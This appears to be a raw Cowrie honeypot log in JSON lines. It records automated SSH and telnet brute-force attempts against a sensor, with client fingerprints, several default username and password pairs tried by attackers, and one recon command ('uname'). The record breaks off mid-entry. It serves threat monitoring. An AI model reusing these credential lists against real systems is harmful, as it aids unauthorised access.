{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44206,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e35a9f80eb6","protocol":"ssh","message":"New connection: 192.109.200.78:44206 (159.203.135.109:22) [session: 8e35a9f80eb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:31.238560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:31.244413Z","src_ip":"192.109.200.78","session":"8e35a9f80eb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:31.329746Z","src_ip":"192.109.200.78","session":"8e35a9f80eb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"123456","message":"login attempt [admin1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:31.583894Z","src_ip":"192.109.200.78","session":"8e35a9f80eb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":37098,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e78a8677382","protocol":"ssh","message":"New connection: 176.65.139.95:37098 (159.203.135.109:22) [session: 8e78a8677382]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:32.782539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:32.788294Z","src_ip":"176.65.139.95","session":"8e78a8677382","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:32.814204Z","src_ip":"192.109.200.78","session":"8e35a9f80eb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:32.906076Z","src_ip":"176.65.139.95","session":"8e78a8677382","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123abc456","message":"login attempt [root/123abc456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:33.192103Z","src_ip":"176.65.139.95","session":"8e78a8677382","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:34.297525Z","src_ip":"176.65.139.95","session":"8e78a8677382","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00154685974121,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:35.115457Z","src_ip":"119.94.70.246","session":"1bb14a2c5728","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44226,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef29a04cc70d","protocol":"ssh","message":"New connection: 192.109.200.78:44226 (159.203.135.109:22) [session: ef29a04cc70d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:35.241493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:35.253254Z","src_ip":"192.109.200.78","session":"ef29a04cc70d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:35.356586Z","src_ip":"192.109.200.78","session":"ef29a04cc70d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"packer","password":"packer","message":"login attempt [packer/packer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:35.608331Z","src_ip":"192.109.200.78","session":"ef29a04cc70d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:37.008438Z","src_ip":"192.109.200.78","session":"ef29a04cc70d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":53626,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3e90d0f8d1d","protocol":"ssh","message":"New connection: 176.65.139.95:53626 (159.203.135.109:22) [session: d3e90d0f8d1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:39.304979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:39.315784Z","src_ip":"176.65.139.95","session":"d3e90d0f8d1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42914,"dst_ip":"159.203.135.109","dst_port":22,"session":"1cedc4b6d708","protocol":"ssh","message":"New connection: 192.109.200.78:42914 (159.203.135.109:22) [session: 1cedc4b6d708]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:39.325492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:39.331220Z","src_ip":"192.109.200.78","session":"1cedc4b6d708","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:39.399214Z","src_ip":"176.65.139.95","session":"d3e90d0f8d1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:39.418413Z","src_ip":"192.109.200.78","session":"1cedc4b6d708","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1qaz@WSX","message":"login attempt [user1/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:39.672128Z","src_ip":"176.65.139.95","session":"d3e90d0f8d1d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"abc123","message":"login attempt [oracle/abc123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:39.682389Z","src_ip":"192.109.200.78","session":"1cedc4b6d708","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.94.70.246","src_port":52855,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c49cdafb220","protocol":"telnet","message":"New connection: 119.94.70.246:52855 (159.203.135.109:23) [session: 7c49cdafb220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:39.770327Z"}
{"eventid":"cowrie.session.closed","duration":0.007711648941040039,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:39.777901Z","src_ip":"119.94.70.246","session":"7c49cdafb220","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:40.041491Z","src_ip":"192.109.200.78","session":"1cedc4b6d708","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:40.045456Z","src_ip":"192.109.200.78","session":"1cedc4b6d708","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:40.136715Z","src_ip":"192.109.200.78","session":"1cedc4b6d708","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:40.142360Z","src_ip":"192.109.200.78","session":"1cedc4b6d708","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:40.765586Z","src_ip":"176.65.139.95","session":"d3e90d0f8d1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.94.70.246","src_port":53146,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e33b0b68d86","protocol":"telnet","message":"New connection: 119.94.70.246:53146 (159.203.135.109:23) [session: 8e33b0b68d86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:42.387635Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42924,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0a34a43ea7a","protocol":"ssh","message":"New connection: 192.109.200.78:42924 (159.203.135.109:22) [session: f0a34a43ea7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:43.558208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:43.564821Z","src_ip":"192.109.200.78","session":"f0a34a43ea7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:43.647524Z","src_ip":"192.109.200.78","session":"f0a34a43ea7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esroot","password":"esroot","message":"login attempt [esroot/esroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:43.907646Z","src_ip":"192.109.200.78","session":"f0a34a43ea7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:44.995964Z","src_ip":"192.109.200.78","session":"f0a34a43ea7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":53648,"dst_ip":"159.203.135.109","dst_port":22,"session":"554b3ded39f1","protocol":"ssh","message":"New connection: 176.65.139.95:53648 (159.203.135.109:22) [session: 554b3ded39f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:45.919691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:45.928638Z","src_ip":"176.65.139.95","session":"554b3ded39f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:46.027277Z","src_ip":"176.65.139.95","session":"554b3ded39f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"root","message":"login attempt [deploy/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:46.355799Z","src_ip":"176.65.139.95","session":"554b3ded39f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:47.448833Z","src_ip":"176.65.139.95","session":"554b3ded39f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42938,"dst_ip":"159.203.135.109","dst_port":22,"session":"696296b9f210","protocol":"ssh","message":"New connection: 192.109.200.78:42938 (159.203.135.109:22) [session: 696296b9f210]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:47.521030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:47.527142Z","src_ip":"192.109.200.78","session":"696296b9f210","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh 